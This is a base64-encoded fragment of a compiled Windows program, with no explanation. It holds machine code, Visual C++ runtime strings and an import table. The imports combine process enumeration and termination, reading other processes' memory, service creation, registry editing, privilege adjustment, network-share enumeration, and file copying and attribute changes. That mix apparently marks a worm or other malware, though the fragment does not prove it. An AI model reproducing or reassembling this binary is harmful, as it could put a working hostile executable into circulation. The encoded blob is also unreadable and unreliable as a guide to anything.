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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 